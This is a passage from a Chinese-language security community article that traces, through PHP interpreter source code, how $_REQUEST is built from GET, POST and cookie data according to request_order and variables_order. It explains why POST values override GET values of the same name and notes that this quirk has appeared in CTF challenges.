而在此之前，apache处理到response阶段的时候， 会将控制权交给PHP模块，
PHP模块会在处理请求之前首先间接调用`php_request_startup`
int php_request_startup(TSRMLS_D)
{
int retval = SUCCESS;
#if PHP_SIGCHILD
signal(SIGCHLD, sigchld_handler);
#endif
if (php_start_sapi() == FAILURE) {
return FAILURE;
}
php_output_activate(TSRMLS_C);
sapi_activate(TSRMLS_C);
php_hash_environment(TSRMLS_C);
zend_try {
PG(during_request_startup) = 1;
php_output_activate(TSRMLS_C);
if (PG(expose_php)) {
sapi_add_header(SAPI_PHP_VERSION_HEADER, sizeof(SAPI_PHP_VERSION_HEADER)-1, 1);
}
} zend_catch {
retval = FAILURE;
} zend_end_try();
return retval;
}
其中`php_hash_environment(TSRMLS_C)`函数调用 ， 这个函数就是在请求处理前，
初始化请求相关的变量的函数,在这个函数中，会通过`php_auto_globals_create_request`来注册`$_REQUEST`大变量:
static zend_bool php_auto_globals_create_request(zend_string *name)
{
zval form_variables;
unsigned char _gpc_flags[3] = {0, 0, 0};
char *p;
array_init(&form_variables);
if (PG(request_order) != NULL) {
p = PG(request_order);
} else {
p = PG(variables_order);
}
for (; p && *p; p++) {
switch (*p) {
case 'g':
case 'G':
if (!_gpc_flags[0]) {
php_autoglobal_merge(Z_ARRVAL(form_variables), Z_ARRVAL(PG(http_globals)[TRACK_VARS_GET]));
_gpc_flags[0] = 1;
}
break;
case 'p':
case 'P':
if (!_gpc_flags[1]) {
php_autoglobal_merge(Z_ARRVAL(form_variables), Z_ARRVAL(PG(http_globals)[TRACK_VARS_POST]));
_gpc_flags[1] = 1;
}
break;
case 'c':
case 'C':
if (!_gpc_flags[2]) {
php_autoglobal_merge(Z_ARRVAL(form_variables), Z_ARRVAL(PG(http_globals)[TRACK_VARS_COOKIE]));
_gpc_flags[2] = 1;
}
break;
}
}
zend_hash_update(&EG(symbol_table), name, &form_variables);
return 0;
}
这里只是将`$_GET, $_POST,
$_COOKIE`merge起来，调用php_autoglobal_merge将相关变量的值写到符号表，最终调用`zend_hash_update`，将相关变量的值赋值给&EG(symbol_table)，因此在这里`$_REQUEST`可以理解为一个全新的预定义变量，因其对`$_POST、$_GET`并不是引用，而知相当于将其重新赋值后写到符号表中，是一个崭新的变量（个人是如此理解的，如有不当，还请谅解）
这里就引出了另外一个话题，注意到在进行switch之前进行了`p = PG(variables_order);`操作
检测是否设置`request_order`,如果未设置则按照`variables_order`顺序来指导大变量的生成
这一点从官方文档中也得到了映证
不过这里php.ini中是存在request_order=”GP”的，但是动调的时候PG(request_order==NULL),这一点没有想明白，不过即使是根据request_order也是先G后P，因此POST的变量名和GET变量名一致时仍然会进行覆盖
而`variables_order`这其实是用来控制PHP是否生成某个大变量以及大变量的生成顺序，该顺序在`php.ini`中已经定义
; variables_order
; Default Value: "EGPCS"
; Development Value: "GPCS"
; Production Value: "GPCS"
一般在php.ini中都使用`variables_order = "GPCS"`
默认的顺序为EGPCS，在官方文档中也能看到:
因P在G之后进行处理，因此如果同时存在`$_GET['foo']`和`$_POST['foo']`，那么根据默认的规则，最终`$_POST['foo']`的数据会将`$_GET['foo']`的数据覆盖掉，最终的$_REQUEST[‘foo’]的数据自然是POST中的数据
示例如下:
var_dump($_REQUEST['foo']);
因此整个预定义变量`$_REQUEST`的原理也就至此，该种特性之前也被用来在CTF中进行考察
## 总结
总的来说，从内核层面来分析函数能够对函数有更深层次的了解，在此过程中需要结合动态调试来试着分析整个执行过程，并且需要对PHP的内核有一定的了解，对函数的参数类型和个数要有一定的敏感度，并且多去查阅官方文档，对函数参数以及官方文档中标注意的地方多关注
* * *
参考链接:
[https://github.com/hongriSec/PHP-Audit-Labs](https://)
[https://www.bookstack.cn/read/php-internals/22.md](https://) | 社区文章 |
Subsets and Splits